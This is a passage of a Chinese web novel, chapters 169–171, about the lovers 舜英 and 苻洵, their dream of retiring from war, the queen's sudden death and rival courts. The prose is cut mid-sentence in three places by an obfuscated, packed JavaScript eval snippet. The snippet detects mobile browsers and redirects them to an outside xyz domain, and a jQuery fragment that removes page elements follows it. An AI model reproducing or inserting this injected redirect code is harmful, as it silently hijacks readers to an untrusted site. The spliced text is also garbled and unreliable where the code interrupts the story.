桂花树下那块竖立的石板爬满青苔,五年前的刻痕仍清晰可见:要见无因见,拚了终难拚。若是前生未有缘,待重结、来生愿。 这纠缠得像乱麻的爱恨恩怨。 舜英吃吃笑起来:“命运啊……命运……” 酒气从肺腑冲上脑门,激得视线一片模糊,她闭上双眸,眼角溢出两滴温热。 她本就喝得微醺,十月冷风一吹,更一阵阵地晕眩,于是躺在树上假寐养神。眯了不知多久,遥遥听见客栈门口传来对话声,声音不大,却在静夜里传得又清晰又远。 客栈门口的昏黄灯光下,郎琊和苻洵一边往里走一边聊着天。 郎琊躬身抱拳:“主子,南宫羽已带玄甲营回去了。” 苻洵微微颔首:“你去另找个地方歇息吧,我想一个人静静。” 郎琊征询问:“好,我让他们弄几床干爽被褥来,再打扫一下屋子。” 苻洵淡淡道:“不必,都后半夜了,我在院子里待会儿就成。” 郎琊试探着问:“主子,昨天怀阳城下,夫人一直盯着南宫羽身边看,她分明是在找你,怎么不出来见一见?” “我们已和离,以后不要再叫夫人”,苻洵垂眸看向手中的木雕小狗,捏了捏小狗的鼻子,轻轻笑起来,“她现在这样,有师父疼、有袍泽并肩作战,挺好。” 他猛地伸手捂住心口,紧闭双眼、强忍痛楚。 郎琊关切地问:“主子,又疼了?” 苻洵睁开眼睛,笑意不减:“有点,不过这段时间有些奇怪,老是感觉她在附近。” 郎琊的叹息声更重:“您为褚娘子做这么多且不说,为何连相思和金蝉都不告诉她?噬心之痛啊,褚娘子若是知晓,必不会弃主子而去。” 苻洵神色渐冷,眼里透出傲气:“告诉她,让她满怀愧疚和怜悯、留我身边,施舍一点温情?她可以杀我、恨我、忘记我,却唯独不能可怜我,我饿死都不吃这碗夹生饭!” 郎琊默了半晌,幽幽道:“可夫人是真心喜欢你,不如再找个时机说清楚,破镜重圆?” 苻洵摇摇头,笑得释怀、有些落寞:“以前我总怨她为那些人舍弃我,后来结识元旭和谢恬他们,懂了她过得有多难,何必再用这些有的没的捆着她,让她更为难?” 郎琊忽然扯了扯苻洵袖子,向院内桂花树使了个眼色。 苻洵顺着他目光看去,呆住了。 灯光昏暗,桂花树枝丫间斜躺着一条人影,裙摆垂落下来、像一朵紫色的花,一条胳膊枕在脑后,一条胳膊垂下来、手里还抓着一个酒瓶。 “我去叫他们弄被褥。”郎琊一溜烟跑得没影。 苻洵盯着桂花树,唇角不自觉扬起,飞快理了理衣袍和鬓发,若无其事地款步走到树下:“姐姐也在,好巧。” 舜英神情未变,十分泰然地说:“巧什么巧?我专门在这等你。” 苻洵难以置信地愣了一阵,轻身一跃、在她旁边的树枝躺下,扬了扬手里木雕,干笑两声。 “生辰礼,送给我一只狗,什么意思?” 舜英噗呲一声笑了:“中秋那晚,你在阿旭面前护着酒坛子,可不跟护食一样?” “巧了,我就属狗”,苻洵挑了挑眉、拉过她的手,对着她胳膊张口就咬,舜英也不躲闪,笑盈盈看他耍孩子气。苻洵揉了揉咬出的齿痕,替她拉下袖子遮好,满脸愤懑地说:“他知道你要来,故意把我气跑?” “我那会儿有别的事,没空追出来”,舜英笑得花枝乱颤,“还想喝什么说一声,我酿就是了,不要一副小家子气,叫人看笑话。” 苻洵拉住她手腕,二人一起从树上轻飘飘跳下来,落在那方小小的墓碑前。 舜英拂去墓碑上的落叶,指尖轻轻抚摸过“待重结、来生愿”六个字,抬眸看向他,神色郑重。 “阿洵,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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元晴沉吟半晌:“之前数代先驱,采用的都是跟你从前一样的做法,兵来将挡水来土掩,将因昭明而起的战火压制约束在可控范围内。但是,到了你们这出现了很大的意外。” “什么意外?” “你们本该是天生的宿敌”,元晴目光复杂注视着她:“可他选择用半条命救活了你,你还在毫不知情时与他相处了许多年。” “无论你是否失忆,天道仍在运转。你们清浊混杂、和光同尘,你的存在使他周身戾气的散得飞快,那些散出去的戾气大部分来不及湮灭,全被其他凶星吸收了。” 舜英点头会意:“所以苻洵被削弱,冯栩他们变强了。” 元晴微笑着点点头:“无论如何,昭明为凶星之首,冯栩气焰再盛,到了生死存亡之际、还是会再度被苻洵压制。” 舜英眼睛一亮:“也就是说,只要苻洵与我们同一阵线,抵御异族的战争、终会获胜。” “只要苻洵愿意,不止冯栩,天下所有战火都会提前结束”,元晴唇角上扬,目光却有些悲哀,“随心所欲些吧,你做的每个决定,都会推着事情往好的方向发展。” 至今,元晴仍记得舜英离开时,那轻快的步伐,似乎陡然卸下重担、肩背都更直了些。 北风一阵紧似一阵,零星的素白无声飘扬,元晴抬头看向天空,笑容苦涩:“天地不仁,以万物为刍狗,圣人不仁,以百姓为刍狗。” “傻姐姐,真舍不得再次看到你哭啊。” 她缓缓伸出手,青紫色血管突兀地密布手背,这双手已瘦得只剩皮包骨。一朵朵六瓣霜花落在她掌心,慢慢融化。 默默注视半晌,她笑着轻声道。 “我应该是看不到了。” 169. 夙梦 威远将军府的红梅开得鲜艳灼目,苻洵安排人在霜仪阁下挖了火道,将三间屋子都烘成暖阁。 “夫人新酿的梅花酒,侯爷慢用。”絮儿带人放下酒、支好红泥炉、关上大门打开窗户,匆匆出去了。 天色将晚,雪意渐浓,舜英伸手去拿温酒壶,被烫了一下、缩回来使劲捏耳朵。 苻洵哭笑不得,垫了块丝绢将酒壶从沸水中提起来,给她和自己各斟了一盏,浅尝一口:“挺甜的。” 舜英也抿了一口:“石蜜加多了。” 苻洵端起酒盏一饮而尽,眉开眼笑:“我知足,有喝的就不错了。” 甜、醇、温、厚,带着淡淡的梅香,三两盏下肚,舜英双颊透出薄红,眼睛亮晶晶地看着他:“阿洵,再等五年。” 苻洵没有多问,只是笑着点了点头,安静地注视着她,等她继续说下去。 舜英又说:“每年我会不定期出门,但是忙完了肯定会回来。” 苻洵摇头:“这个不用跟我说。” 舜英满脸郑重,眼睛却更亮:“你以后谈论本国政务的时候要回避我,我谈论什么事也会避开你。” 苻洵替她添了半盏,柔声道:“好。” “五年”,舜英端起酒盏一饮而尽,张开五指扬了扬,“你劝谏你哥,我跟师父想法子,我们一起努力,两国不要再起战火。” 苻洵顿时明白她的意思:“我以性命起誓,五年之内、尽我所能使两国息兵止战,若违此誓……” “你是脾气不好,又睚眦必报,可你从不违背诺言”,舜英脑袋晕晕沉沉,思路和口齿却比平常更清晰,一把抓住他发誓的手,“我们先一致对外,共同将北宛驱逐出去。” “我脾气不好只是对外,何时对你脾气不好……”苻洵诚挚地辩解着,却见她泼泼洒洒将酒盏放回桌上,身子开始东倒西歪,赶紧过去揽住她,“一杯倒的量,偏爱贪杯。” 舜英紧紧攥着他的手,期盼地注视着他:“阿洵,等平定北宛、等再过五年,咱们一起隐居吧……这乱世的重量,咱们二人承担不了多少。” “只要人心不足,争斗永不会平息。今日你占我五城,明日我夺你十城,来来回回无休无止,我看够了、也厌倦了。” “随他们怎么去抢夺争斗,咱们隐居世外、渔樵耕作,除非异族入侵,永不再掺合这些破事。” 苻洵垂下眼眸,与她静静对视,欣然笑了:“我运气太差,稍微动点恶念、总会闹到不可收拾,这么些年也疲倦得很。你这主意好,咱们一起去隐居,我还知道许多好玩的地方、到时候带你一起去。” 舜英想了一阵又摇摇头:“不行,阐儿他们怎么办,你这亲爹不管了?” 苻洵满脸尴尬:“我早说过自己不是他们亲爹?姐姐怎就不信?” 舜英垂首、显出几分落寞,怏怏道:“是也没什么,反正我也……没资格乱吃醋……” “姐姐吃醋是在意我,高兴还来不及,可他们真不是……”苻洵忍俊不禁,压低声音认真地说,“他们与你一样,都是尚在母亲腹中、因战争失去父亲的孩子。” 舜英不解:“你完全可以收作养子养女,何必非宣称是自己的?” “因为姐姐”,他深深看着她,双眸含泪,“我希望他们活得理直气壮、自由自在,不要成为下一个阿七,被恩义束缚一生。” 舜英愣住了,许久之后,低声喃喃道:“自由,只忠于自己,真好……” 苻洵认真地重复了一遍:“阿洵是姐姐一个人的,从前是、现在是、以后也是。” 她揪住他乌黑的头发,泪眼汪汪:“阿洵,发为血之余,我不会再让你长出白发。” “痛,轻点”,苻洵轻轻将自己头发扯出来,温声说,“长也没事,咱们一起长。” 舜英眼皮越来越沉,苻洵抱起她绕过屏风、放到床上躺好。 天色已晚,屋外簌簌下起了大雪,天地间变得无比静谧,二人的呼吸声都清晰可闻。苻洵撑起一臂,侧躺着细看她睡颜,眉眼干净灵动、像一朵恬静的睡莲。 他情不自禁凑过去,蜻蜓点水地啄了啄她的唇,垂眸偷笑,脸有些烫。 牵过她的手、掌心贴上自己胸口。心脏越跳越快,越来越紧促有力,带着几分欢欣鼓舞,金蝉噬心的痛楚轻得几乎感知不到。 从前只是心,以后连同人和命,全都是她的了。 他喜欢这份笃定和踏实。 她没问他关于金蝉、相思和独活的半个字,只说,有位七旬老者问候他是否安好,还赠送给她很多焉酸草。 苻洵知道,若这世上有人会种焉酸草,也只有…… 还活着,真好。 她去阊江时还郁郁寡欢,去一趟木城山就释怀了,又跑去北疆救武煊,然后守在洛京等他,他大致猜到了什么。 但他不想问、也不想验证,互不相扰、互相支持,是他们不必宣之于口的默契。 各有各的路要走,岔路的尽头是同归,就够了。 他平躺下来,床很大,他替她盖好被子、又往外退了退。两人之间还隔着近一尺的空隙,他牵着她的手、轻柔地按在心口,只感到前所未有的亲近和熨贴。 舜英一喝多就容易话唠,只听她在睡梦中喃喃“师父”、“姨母”、“承祎”、“武六”、“阿旭”…… 过了会儿,又听她说:“阿洵,欠下的债一起还完,作过的孽一起赎尽。咱们干干净净地,重新开始。” “欠债作孽的是我,你干嘛往自己身上揽”,苻洵侧过脸,目光复杂地注视着她,“你啊你,这半辈子谁都对得起,唯独对不起自己。” 却见睡梦中的她,双颊浮起浅浅红晕,唇角漾起笑意,定是沉浸在美梦之中。 舜英的梦境是五年以后。 承祎满了十四岁——翊国历任国君亲政的最低年龄,在师父和阿旭的带领下,朝臣纷纷上奏撤帘,冯姮接受了现实、顺利还政,兵不血刃完成权力交接。她练出的飞廉最终没有用上,重新改编为隐蝠卫、替承祎效命。 她每年都进山去采更多琳琅果,一直到元旻毒素拔尽、四肢双眼完好如初。他恢复记忆后,他们对坐在梨树下,有生以来第一次促膝长谈,而后一别两宽。 元旻不愿和离也无妨,反正她已通知得清楚到位,大不了和阿洵远走高飞,当政的是承祎,必定不会为难自己母族,她再不用担心元旻伤害褚氏一族。 武煊在北翊依然是一员骁将,武氏几乎全部战死,他脑子转不过来也是人之常情。断交就断交吧,好好跟着承赟抵御异族就够了。 元旭性情温厚,滬南在他的治理下民生富庶、安居乐业。 苻洵和承赟在疆场上协作策应得越来越娴熟,最终将北宛骑兵全部赶回边墙以北,夺回三大盆地和关隘。 那以后……那以后她就和苻洵隐居了,不再操心两国之间恩恩怨怨。 师父那时候也五十多岁了,他一直性子疏懒,早就不耐烦继续当丞相。上次还跟自己抱怨说,一开始元旻只让他撑个几年,等选出新的能人就允他致仕,结果一年一年又一年,国君都换了三个、自己还是丞相。 师父最喜欢游山玩水,到时候他们三人结伴而行。苻洵性子活泼有趣,跟师父有几分像,俩人说不定聊得来、能玩到一起。 去哪里呢?去舞阳山摘最新鲜的水果,去磐龙滩吃刚出水的汶鱼,去洛京看四季繁花,去莱东大海边捡漂亮的贝壳、再潜到水底捞珊瑚,然后骑最快的马、在玄阴山和乌兰山下跑个几天几夜…… 中原的景色看腻了,他们还可以去西羌高原,去看会跳舞的蛇、看高空走索、骑高大的的骆驼,感受一下又干又热的风沙,夜晚就跟阿洵手牵手围着火堆跳舞。 等四处跑得累了,他们就回珪山、去禄丰山深处那座小村落,蚩越和师父如果喜欢,也可以来住在一起……人多热闹,多修几间屋子就成。 她洒扫、浣衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853753|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、酿酒、绣花,他葺屋、劈柴、打水、做饭……至于蚩越和师父嘛,负责吃喝玩乐就行了。 梦境越来越暖和静好,舜英不禁笑出声来,苻洵也笑了,伸手轻轻刮了刮她鼻尖。 她心里有他,他比她自己都更早知晓,只是一直不太敢确定。 那年除夕夜烟花下初次拥吻;蒙舍王城她总第一时间注意到他的变化;龙门行宫她对他避讳如洪水猛兽;九霄山高烧昏迷的她攥住他袖子叫“阿洵”;那么隐秘伤感的身世过往,她毫无保留对他敞开心扉…… 洛川初遇、除夕夜重逢的记忆全部消失;她对那人的忠诚日久弥远、时刻准备为之赴死;洛京会盟时那人已是一国之君、又绝无可能对她放手;滬南归去后她胸怀大义、决定接受册封…… 无数阻隔像狂暴的洪流,一个浪头拍来、就将他们刚刚萌发的爱意卷得无影无踪。然而每次重逢,那缕缱绻依然顽固地再次破土而出、生根发芽,直到下一个浪头袭来…… 那些爱意,永远被她拼命压制、却永远暗流汹涌。 同心而离居,忧伤以终老。如此不忿、如此不甘。 他是个孤注一掷的赌徒,以性命为注,从九泉之下偷来一段光阴。 只想知道,当那些阻隔和羁绊不复存在,当她不再是褚舜英,会不会坚定地选择他,哪怕只有一次。 建宁八年三月底,颜清和给他传信,说她近来心跳、呼吸逐渐平稳,已会屈伸手指,可能快醒了。 他高兴得连夜从北卢郡赶到镇安,却不敢继续往前,借协助澄洛驰道之名,停留在英平郡,一停就是一个月。 整个蛮疆,没人知道中毒者被金蝉拔毒之后,会是怎样的状态。有可能疯了傻了,或是落下些别的毛病。 就算醒来的是个正常人,也极有可能继续立场相左,为家国大义继续刺杀他、或是自戕。 可她却大梦初醒、前尘尽忘,就那样离他越来越近。 他这一注,赢得比预想中,多得太多。 五年就五年吧,他已经等了十二年,不差这五年——何况她一有时间都陪着他。 目前的荣国,实力已不输南翊,不再是他幼时那任人欺凌的弱国了。他这些年东征西讨,已历练出一大批将才,即使他走了,哥哥麾下也有许多人可用。 届时,三个孩子也大了,可以告诉他们真相,归宗还是留在苻氏、由他们自己决定。就算只靠父辈遗泽,他们混个平安顺遂也不成问题。奉养生母、成家立业,他们的生父也可安然长眠。 郎琊头脑机智、心思缜密,秦川武艺高强、单纯忠直,到时把白袍卫全部留给哥哥,他们都会有好前程。 五年时间,应该够他和北翊联手,将北宛打残、顺便宰了冯栩那头狼崽子。 那以后……那以后他就和她隐居了,不再操心两国之间恩恩怨怨。 想到这儿,他侧身与舜英面对面躺着,唇角笑意越来越甜。 窗外北风一阵紧似一阵,鹅毛大雪纷扬飘坠,近处的屋檐、远处的边墙、更远处的伊河和乌兰山,都压在厚厚积雪之下,像是连绵的缟素。 这方小小的院落,红梅开得如火如荼,晕黄灯光照着温暖屋子,相爱的男人和女人同枕共眠,一起做着同样美好的梦。 . 同一时刻,阊江也下起了雪,玉树碎玉琼花纷纷扬扬,粘在嫣红的梅枝上。冯姮手持花剪,“咔嚓”剪落一枝梅花:“冬雪,这枝开得好,插瓶供上去吧。” 有人通报:“禀娘娘,夏小乙求见。” 冯姮正剪着另一枝:“何事?” 夏小乙:“十月底,建兴城苦役暴动,有人救出了临梁郡公,经暗访目击者,其中一女子虽容貌不同,单看身形和刀法,却像极褚娘娘。” 冯姮眼瞳急遽收缩,手一抖,手中花剪坠下,砸在雪地里,碎白飞溅。 刚被剪下的红梅也摔落,深红花瓣散在积雪上,洁白雪地顷刻洒满殷殷鲜红,像血。 170. 天地不仁 “醒醒……醒醒……” 舜英睁开眼,发现自己躺在冰冷的白石地板上,云气在身侧蒸腾。她揉了揉眼睛,四周大雾弥漫,什么也看不清。 “快醒醒。”呼唤她的女声飘飘渺渺,像绕在指尖若即若离的云烟。 舜英不禁起身,走向声音来源,雾气越来越浓,她茫然四顾,所幸那声音虽然轻、却锲而不舍在呼唤她。 终于,她看到呼唤她的人,穿一袭玄色深衣,远远背对着她,站得笔直。 风在高天呼啸而过,吹得那背影的衣袍烈烈翻飞,那背影却巍然不动,像是化作与石台一体的雕像。 舜英向着那个背影,一步步走去,那背影却依然遥不可及,怎么都走不拢。 周围响起零零碎碎的嘈杂人声,许多人在跑动、叫嚷,一个尖细的声音由远及近,重复着扬声高呼“陛下召建业侯入长秋宫觐见——” 舜英茫然看向四周,空无一人,天光骤然阴沉下来,黑漆漆一片。她感觉自己靠着一个温暖坚实的身躯,头脑和听觉都是清晰的,却怎么都睁不开眼睛。 耳边响起熟悉的声音:“长秋宫?只召我一人?” 尖细的声音在近处响起:“只召建业侯一人。” 她感觉自己身体一轻,片刻后被平放在床上,蓉簟清凉而惬意,眼皮仍然十分沉重、怎么都睁不开。悉悉索索的声音在耳边响起,像是有人在整理袍服,紧跟着是又轻又稳的脚步声、关门声、马蹄声……渐行渐远。 那个缥缈的女声再次响起:“快醒醒,时间不多了。” 舜英晃了晃脑袋,重新试图睁眼,这一次睁开了。她发现自己躺在一座巨大石台上,头顶是万里天幕,滑净无纤尘,漏下点点星辰光芒。 疾步向前走去,一直走到那玄色背影的身后。 那玄色的背影站在石台中心,衣袍上用银色丝线绣着二十八宿,她正一脸郑重、抬头看向星星点点的夜空。 舜英讶然问:“阿晴?” “看见了吗?”元晴抬手指向天空闪烁的群星。 舜英顺着她的指引看去:“有的星辰黯淡、有的星辰明亮,有星辰明明灭灭闪烁不定,还有星辰不断穿行、牵引着其它星轨的变幻。” 元晴笑了:“它们不止是星辰,是命运啊。” “孤做到了”,她抬起双手张开五指,凝视着枯瘦如柴的手掌,眼神中透出欣慰和骄傲。 “龙门行宫促使你回归滬南,碧水河畔救活前代蛊王,与摇光护住关键一子,游说苻萱嫁与元氏宗室,阳华山元氏王陵行刺,渝安郡安抚使……孤做到了,漫天星辰悉数走上新的轨道。” 舜英有些懵:“新的轨道?” “是,新的轨道,提前结束战火的星轨”,元晴拉起她,走向高台边缘,指向脚下,“你看见了什么?” 她的手指带有无形魔力,指向处,蒸腾的云雾分开,露出下方血色大海,漂着无数尸骸、兵器、残肢,一只又一只苍白的手无助伸向她,一张张熟悉的、不熟悉的脸齐齐朝着她,面目扭曲、哀嚎嘶喊。 舜英:“战火,尸山血海。” 元晴摇摇头:“他们是民,在战火中濒死的民。” 舜英似有所悟:“从古至今,望海百族、西陵古国、虞国、荣国、宣国、燕国、翊国……所有的民,被卷入战火,濒临死亡时,痛苦和绝望是一模一样的。” 元晴笑了笑:“不止他们,还有河西三十七部、西羌诸国、草原二十八部……一切有血有肉的人,在面对战火和死亡时,其实都一样。” 她转过头,目不转睛看着舜英:“你懂了么?” 舜英思忖半晌,猛然抬头盯着元晴:“可是……” “若是懂了,就放手去做吧”,元晴笑意不减、目光深沉,“战也好、和也罢,阴谋阳谋都无所谓,只要到达那个终点。” 她长舒一口气,反手握住舜英:“我的道路已走到尽头,此后的道路只剩你自己了。” “往前走,害怕也别回头。” 元晴的声音越来越轻,舜英感觉握住自己的那双手冰冷下去,担忧地看着元晴,却见她的身躯正变得透明、虚无,被风一卷就消失得无影无踪。 舜英向前一抱,抱了个空。 脚下的大地开始震颤,白石地板碎成齑粉,血海汹涌咆哮着漫上来,一只只苍白的手伸向她,她站立不稳,朝着无边无际的血海坠落而去。 “当——”穿云裂石的钟声撕破晨雾,响彻九霄。 “阿晴!”舜英呼喊着惊醒,满头冷汗坐起来。 城北王宫方向,钟声没有停,一声声像敲击在她脑门上,她胸膛骤然狂跳起来,耳边嗡嗡直响。 急促的马蹄声停在门口,紧跟着是苻洵越来越近的呼喊:“撤下府里所有彩饰,挂白绸白幡白灯笼、设路祭,把阐儿和阿阗叫起来,服斩衰!要快!” 卧房门被推开,苻洵疾步走进来,拉开竖柜门在翻找什么。 舜英翻身下床,冲过去帮他找寻:“白幡?出什么事了?” 苻洵翻找的动作慢下来,目光复杂注视着她,欲言又止数次,艰涩开口:“姐姐,王后殿下薨逝了。” 舜英呆住了,耳畔嗡嗡轰鸣、什么也听不见,双手难以自抑地发颤,愣愣看着他。过了不知多久,腿脚失去力气,轻飘飘向后倒去,苻洵赶紧上前揽住她。 她挤出一个微笑:“阿洵,你刚才说什么?” 苻洵深吸一口气,小心翼翼将她扶到榻边坐下,才低声重复:“王后殿下薨逝了。” 舜英眨了眨眼睛,没有泪,唇角颤抖、脸上挂着勉强的笑,难以置信地蹙眉:“不可能,上个月端午小宴,她不是还好好的么?” 苻洵垂眸:“听哥哥说,她自从有了稷儿,就一天天油尽灯枯,年纪轻轻、脉象已如古稀老者。” 顿了顿,继续沉声道:“饶是如此,她薨逝得也很蹊跷突然,陛下正派人暗查。” 舜英一动不动僵在那儿,脑中一忽儿是片刻前的纷乱梦境,一忽儿却是在昇阳初见时那灵动鲜活的少女,呆愣怀想半晌,紧紧抓住苻洵的手:“她还有没有什么留给我的话?” “她让我转告,你已无后顾之忧”,苻洵自动忽略“还”字,默了片刻,深深看着她,“幸亏你在灵昌和奉宁从不去贵女圈交际,也未曾参加宫宴,不必多造杀孽。” 舜英陡然一寒,睁大双眼:“多少人?” 苻洵咽了口唾沫:“长秋宫见过你的人、洛川别苑近身伺候过你的……包括柳儿絮儿,全被她先后寻到由头——处死。” 顿了顿,他又说:“她还修改了宗谱玉牒,将我的正室改为今年七月病逝,宗正寺相关书吏也已被她处理掉。” “好个凰羽寺少祭司,以万物为刍狗,不留半分周旋余地”,舜英垂眸苦笑,双肩轻轻抖动,流下两行泪,“就连对自己也这么狠。” 外面仆从来来往往、跑来跑去挂白幡,苻洵也不知如何劝慰她,只能一下一下轻抚她后背:“若是伤心,就哭出来吧。” 舜英轻声说:“阿洵,我想静一静,你先带阐儿和阿阗进宫服丧吧。” 苻洵担忧地看着她:“平南侯也在奉宁,吊唁无须太久,若你实在憋闷我可邀他来……” “我没事,不要牵扯更多人进来”,舜英想着曾经那明媚娇俏的少女,抬眸看向苻洵,笑了笑,“阿洵,我就在这等你回来,守丧期满,咱们还要一起去北卢呢。” 不知怎的,见到她这般笑容,苻洵骤然心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14859629|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一沉,但国丧大礼不容耽搁,只得匆匆换上粗麻衣,拔去发钗取下发冠。 舜英站起来,示意他坐下,拿过玉梳替他慢慢梳着乌发,绾好发髻、戴上丧冠。 然后,她欲盖弥彰地又说了一遍:“我没事,我就在这等你回来。” 目送他走出院门,舜英走到屏风后的软榻边。昨晚他们在榻上搭了张小几,铺开舆图,一起商讨对北宛的战略,然后她睡了过去。 她找回记忆后,因着“相思”之毒,每晚都与他同居一室,但都是一床一榻分席而眠。 大半年来,每到一地,他都会跟她打听元璟和褚秋水的喜好,投其所好地或买或订,一点点攒着各色奇珍异宝。他在洛川别苑腾出五间屋子,计划每年攒一屋,等到第五个年头,就去阊江提亲。 瞧着放荡不羁的人,骨子里却最是拘谨。谨慎地试探她的心意,预备三书六礼风光迎娶,憧憬着未来的名正言顺。 梦中场景纷至沓来,舜英收拢双腿,抱膝蜷坐到榻上,想了想,又拉过他晚上垫的软枕抱在怀里,嗅着清甜的木香,泪如雨下。 这乱糟糟的世道啊,哪是他们想躲就能躲的? 世事纷繁如乱麻,身不由己任风吹。 小几上的舆图仍摊开着,天下六分,北宛的版图已缩回定安盆地。 武煊的回归使北翊如虎添翼,西有苻洵率北三郡众骑、东有谢朗与武煊珠联璧合,仅用了不到一年,就将悍勇的北宛骑兵逼回定安盆地。只需再等个一年半载、几场大战,便可收复三大关隘。 荣国、北翊、南翊这三个大敌当前、被迫联合的盟友,也到了翻脸的前夕。 最先翻脸的,却不是荣国与两翊,而是南北翊之间。 今年五月,延光王元承祎生辰,冯太后令姜嫣、元承赟母子前往阊江共贺千秋节。 王不见王,冯太后此举,无异于将宛平朝廷架上火堆。 去,则视为觐见,北翊立国的合法性荡然无存,荣国东原道三十五城相当于被翊国南北夹击,必生争端;不去,姜氏、武氏与承赟一脉将彻彻底底被坐实为乱臣。 姜嫣和元承赟商量片刻,回复得斩钉截铁——不去! 被坐实乱臣,断了粮草供应是为远虑;西、北两翼有北宛,若此时再与南边荣国生嫌,覆灭之祸却是近在眼前。 要么与荣国闹崩、被北宛骑兵屠了;要么等北宛骑兵被打回边墙外,被荣国灭了;要么一直消耗到三败俱伤,南翊大军跨过淮水北上,收复失地。 从那道贺千秋节的敕书发出,北翊宛平朝廷的死期,就是扳着指头倒计时。 本来还有第四条路…… 苻洵同北翊众将士同袍数年,颇有惺惺相惜之意,多次回京述职时对其大加褒扬,说得一干朝臣心动不已。 又私下对苻沣直言不讳,与北翊并肩作战那么久,打出感情了,再掉过头去打曾经的战友、于心不忍。 苻沣也一直在考虑此事,先召司农令估算了一下三郡二州的产出,确定在自己的治理下,再苦一苦宗室,荣国不用砸锅卖铁都养得起那么多兵马,于是动了招安的心思。 招安的人选慎之又慎,派苻洵去只怕还没踏进宛平、就得被人抄起大刀撵出来。要出身好、名声好、能力强、脑子快,最好跟姜嫣年龄相仿,苻沣在宗室中挑挑拣拣,选了堂弟苻洹去谈判。 条件很优厚,元承赟一脉为世袭罔替的国公,供养同于嫡系宗室;武氏、姜氏、众将士爵位职级不变,最令人心动的专权是:只听调不听宣。 姜嫣和元承赟招待得很热情,言辞也十分客气,说用不着以上优待就可举国来降,只要一样东西交换:苻洵的项上人头。 于是这谈判,无法可想、自然而然地崩了。 171. 慈悲 “翊国骨头最硬的一帮人,全都聚在宛平”,元旭先给舜英续上茶,再往自己杯中倒,“跑去招安这么些人,也不知姐父怎么想的。” “你这姐夫倒喊得顺口”,舜英摇摇头,哑然失笑,“他一直都这样温厚,事事留一线。” “是他先一口一个‘阿旭’地叫我,我叫他姐夫有什么问题。”元旭有些诧异。 舜英噎住了,君王无家事,她之前从未与元旻说过“姐夫”、“小舅子”之类的词。 元旭真诚地说:“撇开国家和立场不谈,他人还蛮好的。若非他温厚,你们三个早泡成水鬼了,哪还有后来的建宁王与永平王。” 舜英心说,也不会有北宛大草原的玄鹰与白隼,天下更不会是如此格局。 元旭心念一动,试探着问:“听九叔说,起初跟四哥合作的人是苻洵,建宁王对你们有救命之恩、又十分慎战,理应处得很融洽,怎会这么快就闹得不死不休?” “我怎么知道,君心难测”,舜英慢吞吞抿了几口茶,反问,“不打仗,那么多兵马养着好看么?” 元旭呛了口水,轻咳两声:“我也搞不懂,安安静静料理农桑、繁荣商贸不好么?打来打去有什么意思?” “所以,你就不是当国君的那块料”,舜英懒懒地说,抬眸盯着他,目光深沉,“宛陵军马场年产多少匹,南翊出了多少良将,这么着急弃子?” “当国君有什么好?天天如履薄冰,夜夜不得安寝”,元旭脸颊一红,毫不在意地笑了笑,“那些兵马战将什么的,我也搞不懂,只知道单从钱粮来看,眼下往北支援粮草、已经远不如供养宛陵骑兵来的划算。” “郑娘娘没说错,你从小就是个钱串子”,舜英悠悠揶揄道,自己却先笑了,“滬南这块地封给你,真真相得益彰。” 元旭摇摇头:“眼下我这平南侯,除了实实在在的食邑,滬南的大部分事务都做不了主。” “做不了主,说话还是有点分量,毕竟是钱串子”,她端起茶杯举到唇边,却一口没喝,闲闲地说,“别的事,莫说你一个侯爵,便是承祎这幼主也拍不了板。” “两国世代的恩怨,五姐姐这一薨逝,母后再无顾忌”,元旭叹了口气,目光悠悠投向窗外,“想一想难免唏嘘,螳螂捕蝉,黄雀在后啊。” 六年半的时间,荣国和北翊损兵折将围猎北宛,南翊这只黄雀冷眼蛰伏,早已磨利了爪牙,蓄势待发。 最硬最利的爪牙,便是宛陵军马场。 事实上,冯太后重启边垣之盟开始,往北翊支援粮草就不是白白赠送,三军郡有五六个养马场,每年都会回赠为数不少的良种马驹和健壮母马。 都知道以军马换粮草,无异饮鸩止渴,但姜嫣和承赟似乎并未考量那么多。北翊立国六年半、仍然保留着往昔屯兵之风,除了农桑赋税就是兵马,并未设置其它冗余官位,遑论按制组建完整的文武百官。 姜嫣和承赟并不在乎“北翊”能存在多久,三郡二州众将士也不在乎,只拼着一腔热血对抗异族,热血抛洒完了、吊着的那口气吐尽了、骨肉被践踏成泥,便是这条路的尽头。 他们没有想过以后。 元旭等半晌不见她接茬,从袖袋取出一封信函,推到她面前:“里面是你这几年的经历,顺着编下去可进可退,佐证的人和物件全由五姐姐一手安排,我抽查了几处验证、保证滴水不漏。” 舜英垂眸思索,一言不发。 元旭有些急,注视着她双目,一字一字正色道:“同样的内容一式几份,五姐姐上个月已派密使送出。仅仅据我所知,收信人就有元瀚海和卢照仪,这俩人一个维护宗室、一个维护所有与四哥相关的东西……” 舜英弯了弯唇角:“好个心思缜密的少祭司。” 